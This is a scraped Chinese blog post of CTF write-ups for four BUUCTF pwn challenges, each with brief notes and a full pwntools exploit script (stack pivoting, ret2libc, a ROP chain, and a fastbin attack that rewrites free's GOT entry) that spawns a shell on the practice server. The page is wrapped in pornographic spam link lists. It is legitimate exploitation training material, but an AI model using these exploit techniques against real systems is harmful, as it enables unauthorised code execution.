日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-9

發布時間:2023/12/10 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-9 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-9

    • [Black Watch 入群題]PWN
    • jarvisoj_level4
    • picoctf_2018_rop chain
    • [ZJCTF 2019]EasyHeap

[Black Watch 入群題]PWN

vul_function可以向.bss段上寫數據,還可以構成棧溢出,但只能溢出8字節,覆蓋ebp和eip
利用兩次棧遷移
第一次棧遷移利用write函數打印出write函數的真實地址,由偏移計算libc基址,進而得到system和"/bin/sh"地址
第二次棧遷移執行system("/bin/sh")

#coding:utf-8 from pwn import * context.arch='i386' context.os='linux' #io=process('./black_watch_spwn') io=remote('node4.buuoj.cn',28976) elf=ELF('./black_watch_spwn') libc=ELF('./libc-2.23-x32.so') s_addr=0x0804A300 #bss段上s的地址 leave_ret=0x08048511 write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=elf.sym['main'] payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.recvuntil('name?') io.send(payload) io.recvuntil('say?') payload='a'*(0x18) #填充buf payload+=p32(s_addr-4) #fake ebp payload+=p32(leave_ret)#覆蓋eip io.send(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() io.recvuntil('name?') payload=p32(system)+p32(main_addr)+p32(binsh) io.send(payload) io.recvuntil('say?') payload='a'*(0x18)+p32(s_addr-4)+p32(leave_ret) io.send(payload) io.interactive()

jarvisoj_level4

32位elf棧溢出,ret2libc

from pwn import * #io=process('./jarvisoj_level4') io=remote('node4.buuoj.cn',27767) elf=ELF('./jarvisoj_level4') libc=ELF('./libc-2.23-x32.so') main_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.sendline(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() payload='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(binsh) io.sendline(payload) io.interactive()

picoctf_2018_rop chain

打印flag需要win1和win2非零且傳入的參數a1=0xDEADBAAD
win_function1函數將win1賦為1
win_function2函數在win1非零且傳入的參數a1=0xBAAAAAAD時將win2賦為1
vuln函數中gets函數構成棧溢出
構造rop先執行win_function1,然后執行win_function2,最后執行flag

from pwn import * #io=process('./PicoCTF_2018_rop_chain') io=remote('node4.buuoj.cn',28567) elf=ELF('./PicoCTF_2018_rop_chain') win1=elf.sym['win_function1'] win2=elf.sym['win_function2'] flag=elf.sym['flag'] payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD) io.recvuntil('Enter your input> ') io.sendline(payload) io.interactive()

[ZJCTF 2019]EasyHeap

參考:萌新詳解[ZJCTF 2019]EasyHeap,帶你走進pwn世界

from pwn import * io=remote("node4.buuoj.cn",27153) #io=process("./easyheap") elf=ELF("./easyheap")def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content) def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content) def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))heaparray=0x00000000006020E0 #.bss段上的一個地址,保存了每個chunk的地址 fake_chunk=heaparray-0x38+5 #fake chunk的prev_size字段,加上8字節后為0x7f,即fake chunk的size字段 system_plt=elf.plt["system"] free_got=elf.got["free"]#gdb.attach(io) #pause()create(0x10,"a"*0x10) #chunk0 create(0x10,"b"*0x10) #chunk1 create(0x60,"c"*0x10) #chunk2 因為要和fake chunk的0x7f匹配,所以是0x60 create(0x10,"/bin/sh\x00") #chunk3#pause()delete(2) #free chunk2 payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)#讓chunk2的fd指向fake chunk edit(1,len(payload),payload)#利用堆溢出#pause()create(0x60,"c"*0x10) #chunk2 payload="d"*(0x20+3)+p64(free_got) create(0x60,payload) #chunk4 把heaparray[0]改成了free_got#pause()payload=p64(system_plt) edit(0,len(payload),payload)#heaparray[0]保存了free_got,free_got保存了free_plt,這里把free_plt替換成system_plt delete(3)#system("/bin/sh\x00")#pause()io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-9的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。

主站蜘蛛池模板: 久久久久亚洲av成人网人人网站 | a极毛片 | 婷婷色影院 | 女人张开双腿让男人捅 | 国产精品美乳在线观看 | 亚洲老老头同性老头交j | 国内精品卡一卡二卡三 | 亚洲天堂毛片 | 欧美激情一二区 | 国产精品免费av一区二区三区 | 91视频啊啊啊 | 手机看片国产1024 | missav | 免费高清av在线看 | 专干老肥女人88av | 日批在线观看视频 | 97精品国产97久久久久久粉红 | 亚洲精品无 | 芒果视频污污 | 中日一级片 | 亚洲国产一区二区三区四区 | 国产a级黄色片 | 四虎色 | 少妇人妻一区二区 | 欧美成人综合视频 | 日本大尺度吃奶做爰视频 | 欧美精品成人一区二区三区四区 | 免费黄色网址大全 | a级一a一级在线观看 | 国产精品入口66mio男同 | 9191国产精品 | 色婷婷激情av | 91亚洲精华国产精华精华液 | 韩国毛片一区二区 | 亚洲国产精品成人综合在线 | 日日夜夜操操操 | 九九热九九 | 天天射天天草 | 午夜一二区 | 网址av| 久久加勒比 | 色婷婷综合久久 | 午夜少妇av | 日本少妇毛茸茸高潮 | 亚洲精品久久久久久久久久久 | 91蜜桃网站| 亚洲视频一区在线播放 | 日韩精品中文字幕一区二区三区 | 欧美黑人孕妇孕交 | 猎艳山村丰满少妇 | 黄在线观看 | 国产中文| 久久免费在线观看 | 99久久夜色精品国产亚洲 | 日本一区二区三区在线观看视频 | 精品国产一区二区三区噜噜噜 | 成人爽站w47pw| 水蜜桃影库 | 免费成人美女女电影 | 一级黄色小视频 | 精品久久人人妻人人做人人 | 热99精品视频 | 免费不卡av | 国产成人精品免费网站 | 蜜美杏av| 日韩视频免费播放 | 影音先锋制服 | 国产精品久久久久久在线观看 | 牛牛av在线| 国产又色又爽又黄又免费 | 超碰丝袜 | 日韩av在线一区 | 黄色一级大片免费看 | 国产免费成人在线视频 | av久色| 91精品国产成人 | 亚洲精品一区二区三区区别 | h片在线免费看 | 精品久久91 | 神马午夜在线 | 九九热精品视频在线 | www.av小说| 亚洲少妇毛片 | 色综合视频 | 国产精品一区二区三区四区在线观看 | 国产美女视频免费观看下载软件 | 日韩中文字幕精品 | 亚洲视频久久久 | 黄色成人毛片 | 久久亚 | 欧美色视频在线观看 | 丝袜老师让我了一夜网站 | 中国女人内96xxxxx | 精品人妻久久久久一区二区三区 | 久久久久久久99 | 国产精品无码人妻一区二区在线 | 中文字幕亚洲综合 | 少妇与公做了夜伦理 | 嫩草研究院在线观看 | 在线色资源 |